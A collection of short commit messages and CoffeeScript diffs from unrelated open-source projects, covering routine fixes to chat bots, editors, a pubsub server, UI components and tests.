-      if cwd.indexOf process.env.HOME == 0
+      if cwd.indexOf(process.env.HOME) == 0
         cwd = '~' + cwd.slice process.env.HOME.length
       cwd


no as user, icon

no as user, icon

--- index.coffee
+++ index.coffee
@@ -53,7 +53,7 @@
           title_link: "#{looker.url}#{look.short_url}"
           image_url: if look.public then "#{look.image_embed_url}?width=606" else null
         ])
-        as_user: true
+        icon_url: "https://s3-us-west-2.amazonaws.com/slack-files2/avatars/2015-10-13/12436816609_c9dab244c5db8f0d218a_88.jpg"

       bot.postMessage(sourceMessage.channel, null, params)


avoid listing commands twice in "hubot help"

--- index.coffee
+++ index.coffee
@@ -6,5 +6,4 @@
   Fs.exists path, (exists) ->
     if exists
       for file in Fs.readdirSync(path)
-        robot.loadFile path, file
-        robot.parseHelp Path.join(path, file)+        robot.loadFile path, file


Listen for the port from PAAS providers like Heroku

--- index.coffee
+++ index.coffee
@@ -8,7 +8,7 @@
   access_token: process.env.ACCESS_TOKEN
   access_token_secret: process.env.ACCESS_TOKEN_SECRET

-server = Hapi.createServer '0.0.0.0', 8080, {}
+server = Hapi.createServer '0.0.0.0', process.env.PORT || 8080, {}

 server.route
     method: 'GET',


cooldown finilazation

cooldown finilazation

--- src/cooldown.coffee
+++ src/cooldown.coffee
@@ -3,7 +3,6 @@
 GameObject's properties.

-
 player = GameObject
   health: 50


src/repo: fixed single argument form of ls_files

--- src/repo.coffee
+++ src/repo.coffee
@@ -293,8 +293,12 @@
   # callback - Receives `(err,stdout)`.
   #
   ls_files: (files, options, callback) ->
+    # support the single arg sig
+    if arguments.length == 1
+        callback = files
+        files = null
     # support the old (options, callback) sig
-    if arguments.length < 3
+    else if arguments.length < 3
         [options, callback] = [files, options]
         files = null
     callback ?= ->


[benchmarks] benchmark server needs knockout for doodle

--- benchmarks/framework/server.coffee
+++ benchmarks/framework/server.coffee
@@ -15,7 +15,7 @@

         appPrefix = 'benchmarks/framework/apps'

-        if app == 'chat2'
+        if app == 'chat2' || app == 'doodle'
             serverArgs = serverArgs.concat(['--knockout'])

         serverCwd = Path.resolve(__dirname, '..', '..')


operations: posts node defaultAffiliation='publisher'

--- src/local/operations.coffee
+++ src/local/operations.coffee
@@ -20,8 +20,8 @@
         description: "A buddycloud channel"
         channelType: "personal"
         accessModel: "open"
-        publishModel: "subscribers"
-        defaultAffiliation: "member"
+        publishModel: "publishers"
+        defaultAffiliation: "publisher"
     status:
         title: "#{user} Status Updates"
         description: "M000D"


operations: subscriptions node notifications

--- src/local/operations.coffee
+++ src/local/operations.coffee
@@ -975,6 +975,8 @@
 # and authorization form query
 #
 # The RSM handling here respects only a <max/> value.
+#
+# Doesn't care about about subscriptions nodes.
 class ReplayArchive extends ModelOperation
     transaction: (t, cb) ->
         max = @req.rsm?.max or 50
@@ -1061,12 +1063,51 @@

 class Notify extends ModelOperation
     transaction: (t, cb) ->
-        # TODO: walk in batches
-        logger.debug "notifyNotification: #{inspect @req}"
-        t.getNodeListeners @req.node, (err, listeners) =>
-            if err
-                return cb err
-
+        async.waterfall [(cb2) =>
+            async.forEach @req, (update, cb3) =>
+                m = update.node.match(NODE_OWNER_TYPE_REGEXP)
+                # Fill in missing subscriptions node items
+                if update.type is 'items' and m?[2] is 'subscriptions'
+                    subscriber = m[1]
+                    t.getSubscriptions subscriber, (err, subscriptions) =>
+                        if err
+                            return cb3 err
+
+                        async.map update.items, ({id}, cb4) =>
+                            userSubscriptions = subscriptions.filter (subscription) ->
+                                subscription.node.indexOf("/user/#{id}/") is 0
+                            affiliations = {}
+                            async.forEach userSubscriptions, (subscription, cb5) =>
+                                t.getAffiliation subscriber, subscription.node, (err, affiliation) =>
+                                    affiliations[subscription.node] = affiliation
+                                    cb5(err)
+                            , (err) =>
+                                el = new Element('query',
+                                    xmlns: NS.DISCO_ITEMS
+                                    'xmlns:pubsub': NS.PUBSUB
+                                )
+                                for subscription in userSubscriptions
+                                    itemAttrs =
+                                        jid: subscriber
+                                        node: subscription.node
+                                    itemAttrs['pubsub:subscription'] ?= subscription.subscription
+                                    itemAttrs['pubsub:affiliation'] ?= affiliations[subscription.node]
+                                    item.el.c('item', itemAttrs)
+
+                                cb4 { id, el }
+                        , (err, items) =>
+                            if err
+                                return cb3(err)
+                            update.items = items
+                            cb3()
+                else
+                    cb3()
+            , cb2
+        , (cb2) =>
+            # TODO: walk in batches
+            logger.debug "notifyNotification: #{inspect @req}"
+            t.getNodeListeners @req.node, cb2
+        , (listeners, cb2) =>
             # Always notify all users pertained by a subscription
             # notification, even if just unsubscribed.
             for update in @req
@@ -1074,11 +1115,13 @@
                    listeners.indexOf(update.user) < 0
                     listeners.push update.user

-            for listener in listeners
+            async.forEach listeners, (listener, cb3) =>
                 notification = Object.create(@req)
                 notification.listener = listener
                 @router.notify notification
-            cb()
+                cb3()
+            , cb2
+        ], cb

 class ModeratorNotify extends ModelOperation
     transaction: (t, cb) ->
@@ -1148,6 +1191,12 @@
             # Run notifications
             notifications = []
             if (notification = op.notification?())
+                # Extend by subscriptions node notifications
+                # TODO: only if authoritative!
+                notification = notification.concat
+                    generateSubscriptionsNotifications(notification)
+                # Call Notify operation grouped by node
+                # (looks up subscribers by node)
                 for own node, notifications of groupByNode(notification)
                     notification.node = node
                     new Notify(router, notification).run (err) ->
@@ -1166,3 +1215,24 @@
             result[update.node] = []
         result[update.node].push update
     result
+
+generateSubscriptionsNotifications = (updates) ->
+    itemIdsSeen = {}
+    updates.filter((update) ->
+        update.type is 'subscription' or
+        update.type is 'affiliation'
+    ).map((update) ->
+        followee = update.node.match(NODE_OWNER_TYPE_REGEXP)?[1]
+        return
+            type: 'items'
+            node: "/user/#{update.user}/subscriptions"
+            items: [{ id: update.followee }]
+        # Actual item payload will be completed by Notify transaction
+    ).filter((update) ->
+        itemId = update.items[0].id
+        if itemIdsSeen[itemId]?
+            no
+        else
+            itemIdsSeen[itemId] = yes
+            yes
+    )


Display warning if the data explorer cannot connect. Related to #1306

--- admin/static/coffee/dataexplorer.coffee
+++ admin/static/coffee/dataexplorer.coffee
@@ -951,18 +951,26 @@
                 host: window.location.hostname
                 port: parseInt window.location.port

-            try
-                that = @
-                r.connect server
-                if data? and data.reconnecting is true
-                    @.$('#user-alert-space').html @alert_reconnection_success_template({})
-            catch err
-                @.$('#user-alert-space').css 'display', 'none'
-                @.$('#user-alert-space').html @alert_connection_fail_template({})
-                @.$('#user-alert-space').slideDown()
+            that = @
+            if data? and data.reconnecting is true
+                r.connect server, @success_on_connect, @error_on_connect
+            else
+                r.connect server, undefined, @error_on_connect
+
             if @timeout?
                 clearTimeout @timeout
             @timeout = setTimeout @connect, 5*60*1000
+        success_on_connect: =>
+            @.$('#user-alert-space').show()
+            @.$('#user-alert-space').html @alert_reconnection_success_template()
+            @.$('.alert').slideDown 'fast'
+
+        error_on_connect: =>
+            @.$('#user-alert-space').show()
+            @.$('#user-alert-space').html @alert_connection_fail_template({})
+            @.$('.alert').slideDown 'fast'
+
+
         # Reconnect, function triggered if the user click on reconnect
         reconnect: (event) =>
             event.preventDefault()


Added test with Infinity

Added test with Infinity

--- core/spec/javascripts/factlink/truncate_list_spec.coffee
+++ core/spec/javascripts/factlink/truncate_list_spec.coffee
@@ -28,3 +28,12 @@

     expect(result.number).eq maximumItems-1
     expect(result.others).eq true
+
+  it "returns listSize when maximumItems is Infinity", ->
+    listSize = 15
+    maximumItems = Infinity
+
+    result = truncateList(listSize, maximumItems)
+
+    expect(result.number).eq listSize
+    expect(result.others).eq false


configure channel name

configure channel name

--- zechat/static/app.coffee
+++ zechat/static/app.coffee
@@ -6,8 +6,9 @@
 zc.create_app = (options) ->
   app_deferred = Q.defer()

-  Backbone.Wreqr.radio.channel('global').reset()
-  app = new Backbone.Marionette.Application()
+  channel = options.channel or 'global'
+  Backbone.Wreqr.radio.channel(channel).reset()
+  app = new Backbone.Marionette.Application(channelName: channel)

   app.reqres.setHandler 'urls', -> options.urls
   app.reqres.setHandler 'root_el', -> $(options.el)


Fix Async process

Fix Async process

--- build_detail.coffee
+++ build_detail.coffee
@@ -324,7 +324,7 @@
     plugin_dir)

   yield Promise.join (for plugin_dir in plugins_dir
-    new Promise (resolve) ->
+    yield new Promise (resolve) ->
       require('child_process').fork npm_exec_path, ['install', '--no-bin-links'],
         cwd: plugin_dir
       .on 'exit', -> resolve())


make acceptable params explicit on practice button

--- src/components/practice-button.cjsx
+++ src/components/practice-button.cjsx
@@ -21,7 +21,7 @@
     <BS.Button bsStyle="primary" className="-practice" onClick={@onClick}>{actionText}</BS.Button>

   onClick: ->
-    params = _.omit(@props, 'courseId')
+    params = _.pick(@props, 'page_ids')

     if CourseStore.hasPractice(@props.courseId) and not @props.forceCreate
       task = CourseStore.getPractice(@props.courseId)


Remove useless code

Remove useless code

--- lib/Refactor.coffee
+++ lib/Refactor.coffee
@@ -69,8 +69,6 @@
       @children = @children.concat Node.create expression, @, @depth, 'expression' for expression in expressions
     if args?
       @children = @children.concat Node.create arg, @, @depth, 'arg' for arg in args
-    # if properties?
-    #   @children = @children.concat Node.create property, @, @depth, 'property' for property in properties
     if objects?
       @children = @children.concat Node.create object, @, @depth, 'object' for object in objects
     if value?
@@ -152,33 +150,3 @@

   topDown: (targetNode) ->
     return @ if targetNode isnt @ and targetNode.value is @value
-
-
-# class Range
-#
-#   @createWithLocationData: ({ first_line, first_column, last_line, last_column }) ->
-#     new Range new Point(first_line, first_column), new Point(last_line, last_column + 1)
-#
-#   @createWithAtomRange: ({ start, end }) ->
-#     new Range new Point(start.row, start.column), new Point(end.row, end.column)
-#
-#   @createWithNumbers: (startRow, startColumn, endRow, endColumn) ->
-#     new Range new Point(startRow, startColumn), new Point(endRow, endColumn)
-#
-#   constructor: (@start, @end) ->
-#
-#   equals: ({ start, end }) ->
-#     start.equals(@start) and end.equals(@end)
-#
-#   toString: ->
-#     "#{@start.toString()}-#{@end.toString()}"
-#
-# class Point
-#
-#   constructor: (@row, @column) ->
-#
-#   equals: ({ row, column }) ->
-#     row is @row and column is @column
-#
-#   toString: ->
-#     "[#{padL @row, 2}:#{padL @column, 2}]"


add unit conversion documentation. fixes #2

--- src/diabetes.coffee
+++ src/diabetes.coffee
@@ -8,6 +8,7 @@
 #   HUBOT_GLUCOSE_UNIT_THRESHOLD
 #
 # Commands:
+#   <glucose level> - convert between mass/molar concentration units
 #   hubot estimate a1c [from average] <glucose level> - Estimates average HbA1C
 #
 # Author:


Switching to centered positions and drawing

--- src/drawable.coffee
+++ src/drawable.coffee
@@ -83,11 +83,9 @@
   @type Matrix
   ###
   transform: ->
-    # Optimization: Don't create any new point objects
-    centerX = (I.x + I.width/2).floor()
-    centerY = (I.y + I.height/2).floor()
+    center = self.center()

-    transform = Matrix.translation(centerX, centerY)
+    transform = Matrix.translation(center.x, center.y)

     transform = transform.concat(Matrix.rotation(I.rotation)) if I.rotation
     transform = transform.concat(Matrix.HORIZONTAL_FLIP) if I.hflip


rm log msg

rm log msg

--- lib/app.init.coffee
+++ lib/app.init.coffee
@@ -87,7 +87,6 @@
 mode_observable.subscribe(handleModeChange)

 unbindRevealEvents = () ->
-  console.log("gone")
   $("aside.controls > div").unbind()

 initialCleanupAndTransform = () ->


Password error handling

Password error handling

--- app/js/services/error.coffee
+++ app/js/services/error.coffee
@@ -23,6 +23,10 @@
         promise = $rootScope.open_wallet_and_repeat_request("open_wallet", response.config.data)
       if error_msg.match(/The wallet's spending key must be unlocked before executing this command/)
         promise = $rootScope.open_wallet_and_repeat_request("unlock_wallet", response.config.data)
+      if error_msg.match(/Invalid password/)
+        Growl.error "Wrong Password", ""
+      if error_msg.match(/BTS_WALLET_MIN_PASSWORD_LENGTH/)
+        Growl.error "Wrong Password", ""
       method = response.config.data?.method
       error_msg = if method then "In method '#{method}': #{error_msg}" else error_msg
     else if response.message


Make focusout handling compatible with React editor

Because the input element isn't handled by jQuery, it's not possible
to retrieve the containing view with Event::targetView. This approach is
wordier but can retrieve the view correctly.

--- lib/autosave.coffee
+++ lib/autosave.coffee
@@ -6,7 +6,7 @@

   activate: ->
     atom.workspaceView.on 'focusout', ".editor:not(.mini)", (event) =>
-      editor = event.targetView()?.getModel()
+      editor = $(event.target).closest('.editor').view()?.getModel()
       @autosave(editor)

     atom.workspaceView.on 'pane:before-item-destroyed', (event, paneItem) =>


Add full name browsers aliases

Add full name browsers aliases

--- lib/browsers.coffee
+++ lib/browsers.coffee
@@ -29,7 +29,9 @@

   # Aliases for browser names
   aliases:
-    fx: 'ff'
+    fx:         'ff'
+    firefox:    'ff'
+    blackberry: 'bb'

   # Available requirements to select browsers
   requirements:


Show Disclaimer on Beta Review Projects

Show Disclaimer on Beta Review Projects

--- app/pages/project/index.cjsx
+++ app/pages/project/index.cjsx
@@ -337,7 +337,7 @@
         projectIsComplete: @state.projectIsComplete
         splits: @props.splits}

-      {unless @props.project.launch_approved or @props.project.beta_approved
+      {unless @props.project.launch_approved
         <Translate component="p" className="project-disclaimer" content="project.disclaimer" />}

       {unless @props.location.pathname is projectPath


:art: Remove unnecessary return keywords

--- lib/composer.coffee
+++ lib/composer.coffee
@@ -102,7 +102,7 @@
         @log.warning('No PDF opener found. For cross-platform viewing,
           install the pdf-view package.')
         return
-    return new OpenerImpl()
+    new OpenerImpl()

   getDefaultLogger: ->
     ConsoleLogger = require './loggers/console-logger'
@@ -173,7 +173,7 @@

   isTexFile: (filePath) ->
     # TODO: Improve; will suffice for the time being.
-    return filePath?.search(/\.(tex|lhs)$/) > 0
+    filePath?.search(/\.(tex|lhs)$/) > 0

   getEditorDetails: ->
     editor = atom.workspace.getActiveTextEditor()


Correcting the callstack

Correcting the callstack

--- src/eventbus.coffee
+++ src/eventbus.coffee
@@ -5,7 +5,7 @@
     @registrationId = 0
     @id = 0
     @getStack = () ->
-      stack = new Error().stack.split("\n")[3]
+      stack = new Error().stack.split("\n")[4]
       stack = stack.replace /^(.*)\/([^\/]+$)/i, "$2"

 	subscribe: (eventName, callback) =>
@@ -23,7 +23,7 @@
 		id = ++@id
 		correlationId = correlationId ? id
 		@log "EventBus: ##{correlationId} event #{id} (#{eventName}): published event #{eventName} from #{@getStack()}" if @debug
-		return @log "EventBus: event #{id} (#{eventName}): no subscription" if @debug and !@bus[eventName]
+		return @log "EventBus: ##{correlationId} - event #{id} (#{eventName}): no subscription" if @debug and !@bus[eventName]
 		for regid, callback of @bus[eventName]
 			@log "EventBus: ##{correlationId} - event #{id} (#{eventName}): calling #{callback.stack} (#{regid})" if @debug
 			try
@@ -34,7 +34,7 @@
 					name: eventName
 					registrationid: regid
 			catch exception
-        @log "EventBus: error while pushing event #{eventName} to #{callback.stack}: #{exception}"
+        @log "EventBus: ##{correlationId} - event #{id}: error while pushing event #{eventName} to #{callback.stack}: #{exception}"
         throw exception if @rethrowExceptions

 	unsubscribe: (eventName, id) =>


Handling mouse wheel on firefox.

Handling mouse wheel on firefox.

--- src/fattable.coffee
+++ src/fattable.coffee
@@ -359,10 +359,16 @@
             @maxScrollVertical = 0

         onMouseWheel = (evt)=>
-            # TODO support other browsers
-            if evt.type is "mousewheel"
-                @setScrollXY @scrollLeft - evt.wheelDeltaX, @scrollTop - evt.wheelDeltaY
-
+            deltaX = 0
+            deltaY = 0
+            if evt.type == "mousewheel"
+                deltaX = evt.wheelDeltaX
+                deltaY = evt.wheelDeltaY
+            if evt.type == "DOMMouseScroll"
+                # Firefox
+                deltaY = -50.0*evt.detail
+            @setScrollXY @scrollLeft - deltaX, @scrollTop - deltaY
+
         eventRegister.bind @container, "mousewheel", onMouseWheel
         eventRegister.bind @container, "DOMMouseScroll", onMouseWheel


Fix #341

Fix #341

--- src/modules/keyboard.coffee
+++ src/modules/keyboard.coffee
@@ -45,7 +45,11 @@
     @toolbar.setActive(format, value) if @toolbar?

   _initEnter: ->
-    this.addHotkey(dom.KEYS.ENTER, (range, hotkey) =>
+    keys = [
+      { key: dom.KEYS.ENTER }
+      { key: dom.KEYS.ENTER, shiftKey: true }
+    ]
+    this.addHotkey(keys, (range, hotkey) =>
       return true unless range?
       [line, offset] = @quill.editor.doc.findLineAt(range.start)
       [leaf, offset] = line.findLeafAt(offset)


Whitespace cleanup.

Whitespace cleanup.

--- src/data-visualization.coffee
+++ src/data-visualization.coffee
@@ -48,13 +48,13 @@
             unless HEATMAP_DATASETS[id]
                 return ''
             "http://geoserver.hel.fi/geoserver/gwc/service/wmts/?SERVICE=WMTS&REQUEST=GetTile&VERSION=1.0.0&LAYER=popdensity:alltest&style=popdensity:all_density_#{HEATMAP_DATASETS[id]}&FORMAT=image%2F#{layerFmt}&TILEMATRIXSET=ETRS-TM35FIN&TILEMATRIX=ETRS-TM35FIN:{z}&TILEROW={y}&TILECOL={x}"
-
+
         getStatisticsLayer: (name) ->
             STATISTICS_DATASETS[name]

         getStatisticsType: (name) ->
             STATISTICS_TYPES[name]
-
+
         getHeatmapLayers: ->
             Object.keys HEATMAP_DATASETS


Translated 'welcome.cson' to Hebrew

Translated 'welcome.cson' to Hebrew

--- def/he/welcome.cson
+++ def/he/welcome.cson
@@ -1,29 +1,29 @@
 Welcome:
-  tabTitle: "Welcome"
+  tabTitle: "ברוך הבא"
   subtitle: {
-    text1: "A hackable text editor for the 21"
+    text1: "עורך טקסט עדכני עבור המאה"
     superscript: "st"
-    text2: " Century"
+    text2: " העשרים ואחת"
   }
   help: {
-    forHelpVisit: "For help, please visit"
+    forHelpVisit: "לקבלת עזרה, בבקשה בקר"
     atomDocs: {
-      text1: "The "
-      link: "Atom docs"
-      text2: " for Guides and the API reference."
+      text1: "את "
+      link: "הדוקומנטציה הרשמית"
+      text2: " בשביל מדריכים והפנייה ל-API."
       _template: "${text1}${link}${text2}"
     }
     atomForum: {
-      text1: "The Atom forum at "
+      text1: "את הפורום של אטום ב "
       link: "discuss.atom.io"
       text2: ""   # optional
       _template: "${text1}${link}${text2}"
     }
     atomOrg: {
-      text1: "The "
-      link: "Atom org"
-      text2: ". This is where all GitHub-created Atom packages can be found."
+      text1: "את "
+      link: "אטום אורג"
+      text2: ". זהו המקום שבו תמצא את כל התוספים הרשמיים של אטום."
       _template: "${text1}${link}${text2}"
     }
   }
-  showWelcomeGuide: "Show Welcome Guide when opening Atom"
+  showWelcomeGuide: "הצג את המדריך הזה בכל הפעלה חדשה של אטום"


better title

better title

--- lib/eslogger.coffee
+++ lib/eslogger.coffee
@@ -259,7 +259,7 @@

       <meta charset="utf-8" />
-      <title>Irc Logs for #{room}</title>
+      <title>#{@title room}</title>

-
Irc Logs for #{room}

+
#{@title room, 'html'}

     """
+
+  title: (room, html = null) ->
+    if room?
+      room = " for #{room}"
+    if html?
+      "Irc Logs#{room}"
+    else
+      "Irc Logs#{room}"

   foot_html: ->
     if @logKibanaUrlName?


support for null key in vfs

support for null key in vfs

--- src/gamervfs.coffee
+++ src/gamervfs.coffee
@@ -1,6 +1,8 @@
 agent = require 'superagent'
 prefixer = require './prefixer.coffee'
 ClanError = require './ClanError.coffee'
+
+# TODO support getting/setting/deleting all keys at once

 module.exports =  (appCredentials, domain)->

@@ -18,6 +20,7 @@
 				else cb null, res.body

 	set: (gamerCred, key, value, cb)->
+		unless key? then key=''
 		agent
 		.put "/v1/gamer/vfs/#{domain}/#{key}"
 		.use prefixer
@@ -32,6 +35,7 @@
 				else cb null, res.body

 	del: (gamerCred, key, cb)->
+		unless key? then key=''
 		agent
 		.del "/v1/gamer/vfs/#{domain}/#{key}"
 		.use prefixer


fix for set periods when clicking on the all periods radio

--- src/components/task-plan/builder.cjsx
+++ src/components/task-plan/builder.cjsx
@@ -135,14 +135,14 @@
   setOpensAt: (value, period) ->
     {id} = @props
     if Object.prototype.toString.call(value) is '[object Date]'
-      value = moment(value).format(TutorDateFormat)
+      value = TimeHelper.getMomentPreserveDate(value).format(TutorDateFormat)

     TaskPlanActions.updateOpensAt(id, value, period?.id)

   setDueAt: (value, period) ->
     {id} = @props
     if Object.prototype.toString.call(value) is '[object Date]'
-      value = moment(value).format(TutorDateFormat)
+      value = TimeHelper.getMomentPreserveDate(value).format(TutorDateFormat)

     TaskPlanActions.updateDueAt(id, value, period?.id)

@@ -157,8 +157,8 @@
     @setOpensAt(taskingOpensAt)

     #enable all periods
-    period_ids = _.pluck(CourseStore.getPeriods(@props.courseId), 'id')
-    TaskPlanActions.setPeriods(@props.id, period_ids)
+    periods = _.map CourseStore.getPeriods(@props.courseId), (period) -> id: period.id
+    TaskPlanActions.setPeriods(@props.id, periods)

     #set dates for all periods
     taskingDueAt = TaskPlanStore.getDueAt(@props.id) or @getQueriedDueAt()


Add period ticks

Add period ticks

--- src/tick.coffee
+++ src/tick.coffee
@@ -13,5 +13,6 @@
       if keep then [entity] else []), true)

 $ ->
-  RunTick.plug Keys.space
+  RunTick.plug Keys.space.map(true)
+  RunTick.plug Bacon.repeatedly(5*1000, [false])


basic log parsing works, extract log from git archive

--- src/gittimer.coffee
+++ src/gittimer.coffee
@@ -1,15 +1,45 @@
 program = require "commander"
 fs = require "fs"
+childProcess = require "child_process"
+spawn = childProcess.spawn

 program
 	.version('0.1.0')
 	.option('-d, --directory [dir]', 'directory to analyse', '.')
 	.option('-u, --user <email>', 'user email adress to filter')
 	.option('-t, --time [time]', 'git log since compatible time')
+
+calcTime = (data) ->
+
+
+parseLog = (log, user) ->
+	lines = log.split "\n"
+	console.log "User\t\t'#{user}'"
+	data = []
+	for line in lines
+		[hash, email, subject, time] = line.split ';#;'
+		if email is user
+			data.push
+				hash: hash,
+				subject: subject
+				time: Date.parse(time) / 1000
+	console.log "Found\t\t", data.length, "commits"
+	calcTime data

 start = (email, directory) ->
-	console.log "Scanning", directory, "for commits of user", email
-	process.exit()
+	console.log "Scanning \t'#{directory}'"
+	log = spawn "git", ['log', '--pretty=format:%h;#;%ae;#;%s;#;%ad','--no-merges','--date=rfc'],
+		cwd: directory
+	logData = ""
+	log.stdout.on "data", (data) ->
+		logData+= data.toString 'utf8'
+	log.stdout.on "end", () ->
+		parseLog logData, email
+	log.stderr.on "error", (data) ->
+		console.log "error: ", data
+	log.on "exit", (code) ->
+		if code isnt 0
+			console.log "exit with", code

 program.parse process.argv


hide unused option

hide unused option

--- src/gittimer.coffee
+++ src/gittimer.coffee
@@ -24,7 +24,7 @@
 	.version('0.1.0')
 	.option("-d, --directory [dir]", "directory to analyse", ".")
 	.option("-u, --user <email>", "user email adress to filter")
-	.option("-t, --time [time]", "git log since compatible time")
+	#.option("-t, --time [time]", "git log since compatible time")
 	.option("-p, --pause <pause>", "max pause time in minutes (default: #{defaultPauseTime})", parsePauseTime)
 	.option("-i, --init <init>", "init time in minutes (default: #{defaultInitTime})", parseInitTime)


Trigger session check in admin when back online

--- admin/controllers/index.coffee
+++ admin/controllers/index.coffee
@@ -48,7 +48,11 @@

   getSessionInfo: =>
     session.info (err, info) =>
-      @checkRole info.userCtx
+      if info
+        @mainNav.offline.hide()
+        @checkRole info.userCtx
+      else
+        @mainNav.offline.show()

   checkRole: (userCtx) =>
     if 'manager' in userCtx.roles
@@ -105,15 +109,16 @@

   setupOnlineOffline: ->
     if not navigator.onLine
-      @mainNav.offline.show(500)
+      @mainNav.offline.show()
       Spine.trigger 'app:offline'

     $(window).on 'offline', =>
-      @mainNav.offline.show(500)
+      @mainNav.offline.show()
       Spine.trigger 'app:offline'

     $(window).on 'online', =>
       @mainNav.offline.hide()
+      @getSessionInfo()
       Spine.trigger 'app:online'

   doOtherStuff: ->


outsourced recaptcha verification into own method... closing the modal if contactform is successfully sent

--- coffee/jquery.contactform.coffee
+++ coffee/jquery.contactform.coffee
@@ -89,7 +89,7 @@
       config.btn_submit = $("#btn_send_contactform")
       config.btn_submit.click (e) ->
         e.preventDefault()
-        methods.send_contactform()
+        methods.verify_recaptcha()

       # load recaptcha
       Recaptcha.create recaptcha_pubkey,
@@ -125,9 +125,9 @@
     $("#modal_recaptcha").modal "hide"

   #
-  # verify recaptcha and send form
+  # verify recaptcha
   #
-  send_contactform: ->
+  verify_recaptcha: ->
     # bring submit button into sending state
     config.btn_submit.button "sending"

@@ -140,35 +140,41 @@
     $.post config.recaptcha_verification_url, recaptcha_params, (response) ->
       # recaptcha is correct...
       if response is 1
-        # close the modal
-        methods.close_modal()
-        # set mandrill params
-        mandrill_params =
-          message:
-            from_email: $("#input_email").val()
-            from_name: $("#input_name").val()
-            to: config.recipients
-            subject: $("#input_subject").val()
-            text: $("#input_message").val()
-
-        # send the message
-        m.messages.send mandrill_params, (res) ->
-          console.log res if console?
-          # output message
-
-          # set button into sent state
-          config.btn_submit.button "sent"
-
-          # reload recaptcha
-          Recaptcha.reload()
-
-          # reset the form
-          config.form_el[0].reset()
-        , (err) ->
-          console.log err if console?
-      # recaptcha is wrong...
+        methods.send_contactform()
+      # recaptcha is wrong
       else
         console.log "the recaptcha solution is wrong" if console?
+
+  #
+  # verify recaptcha and send form
+  #
+  send_contactform: ->
+    # set mandrill params
+    mandrill_params =
+      message:
+        from_email: $("#input_email").val()
+        from_name: $("#input_name").val()
+        to: config.recipients
+        subject: $("#input_subject").val()
+        text: $("#input_message").val()
+
+    # send the message
+    m.messages.send mandrill_params, (res) ->
+      console.log res if console?
+      # close the modal
+      methods.close_modal()
+      # output message
+
+      # set button into sent state
+      config.btn_submit.button "sent"
+
+      # reload recaptcha
+      Recaptcha.reload()
+
+      # reset the form
+      config.form_el[0].reset()
+    , (err) ->
+      console.log err if console?

   #
   # bind the forms submit event


governor: Don't require current_workers to be part of history

--- src/governor.coffee
+++ src/governor.coffee
@@ -76,7 +76,7 @@
   return vals

 historyStateValid = (s) ->
-  return s.error or (s.estimated_workers? and s.current_workers?)
+  return s.error or s.estimated_workers?
 historyEntryValid = (r) ->
   return objectValues(r).every historyStateValid
 historyValid = (h) ->


update open-weather-map.coffee

update open-weather-map.coffee

added HUBOT_OPEN_WEATHER_MAP_APIKEY to get the API working again

--- src/open-weather-map.coffee
+++ src/open-weather-map.coffee
@@ -5,6 +5,7 @@
 #   None
 #
 # Configuration:
+#   HUBOT_OPEN_WEATHER_MAP_APIKEY = required API key from http://openweathermap.org/faq#error401
 #   HUBOT_OPEN_WEATHER_MAP_URL (optional)
 #   HUBOT_OPEN_WEATHER_MAP_DEFAULT_CITIES (optional)
 #
@@ -15,9 +16,11 @@
 #
 # Author:
 #   github.com/TrevorS
+#   github.com/endodino

 weatherURL = process.env.HUBOT_OPEN_WEATHER_MAP_URL or 'http://api.openweathermap.org/data/2.5/weather?q='
 cities     = process.env.HUBOT_OPEN_WEATHER_MAP_DEFAULT_CITIES
+apiKey = process.env.HUBOT_OPEN_WEATHER_MAP_APIKEY

 module.exports = (robot) ->
   robot.respond /weather help$/i, (msg) ->
@@ -33,7 +36,7 @@
         weatherFor(msg, city)

   weatherFor = (msg, input) ->
-    robot.http(weatherURL + input)
+    robot.http(weatherURL + input + "&appid=" + apiKey)
       .get() (err, res, body) ->
         json = JSON.parse body
         msg.send "It is currently #{kelvinToFahrenheit json.main.temp}°F in #{json.name}."


Behavaiour of java runner changed to run in same console context so it will appear in script output

--- lib/grammars.coffee
+++ lib/grammars.coffee
@@ -178,7 +178,7 @@
         className = context.filename.replace /\.java$/, ""
         args = []
         if GrammarUtils.OperatingSystem.isWindows()
-          args = ["/c javac -Xlint #{context.filename} && start cmd /k java #{className}"]
+          args = ["/c javac -Xlint #{context.filename} && java #{className}"]
         else
           args = ['-c', "javac -d /tmp '#{context.filepath}' && java -cp /tmp #{className}"]
         return args


On node 0.12+, birthtime is a better creationDate

--- backend/local/watcher.coffee
+++ backend/local/watcher.coffee
@@ -81,7 +81,7 @@
                 path: filePath
                 docType: 'file'
                 checksum: checksum
-                creationDate: stats.ctime
+                creationDate: stats.birthtime or stats.ctime
                 lastModification: stats.mtime
                 size: stats.size
                 class: fileClass


insights: Handle errors returned in body

Sometimes get "No available Dirac connections"

--- src/insights.coffee
+++ src/insights.coffee
@@ -28,6 +28,7 @@
   query = "SELECT jobs,workers,drainrate,fillrate,consumers,role,app,timestamp from GuvScaled SINCE '#{start}' UNTIL '#{end}' LIMIT #{limit}"
   insights.query query, (err, body) ->
     return callback err if err
+    return callback new Error "#{body.error}" if body.error

     return callback new Error 'Number of events for interval hit max limit' if body.performanceStats.matchCount >= limit
     results = body.results[0].events


Restore fullscreen: false for menus and cards (Thanks SDK 3.3)

--- src/js/menus.coffee
+++ src/js/menus.coffee
@@ -32,7 +32,7 @@
     textColor: defaults.textColor
     highlightBackgroundColor: defaults.thirdColor #
     highlightTextColor: 'white'
-    fullscreen: true
+    fullscreen: false
   else
     backgroundColor: defaults.backgroundColor
     textColor: defaults.textColor
@@ -47,7 +47,7 @@
     titleColor: defaults.thirdColor
     subtitleColor: defaults.thirdColor
     bodyColor: defaults.textColor
-    fullscreen: true
+    fullscreen: false
     style: 'small'
     scrollable: true
   else


Random is not a good idea. Let's just make names non-conflicting.

--- tests.coffee
+++ tests.coffee
@@ -1,5 +1,5 @@
-Users = new Meteor.Collection "Users_#{ Random.id() }"
-Posts = new Meteor.Collection "Posts_#{ Random.id() }"
+Users = new Meteor.Collection "Users_meteor_related_tests"
+Posts = new Meteor.Collection "Posts_meteor_related_tests"

 intersectionObjects = (array, rest...) ->
   _.filter _.uniq(array), (item) ->


More robust tests.

More robust tests.

--- tests.coffee
+++ tests.coffee
@@ -701,9 +701,11 @@

       @assertEqual @changes.length, 20

-      # There should be first changes for adding, and then in the same order changes for removing.
       postsId = _.pluck @posts, '_id'
-      @assertEqual _.map(@changes, (change) -> change.added or change.removed), postsId.concat postsId
+      # There should be first changes for adding, in possibly different order.
+      @assertItemsEqual (change.added for change in @changes when change.added), postsId
+      # And then in the known order changes for removing.
+      @assertEqual (change.removed for change in @changes when change.removed), postsId

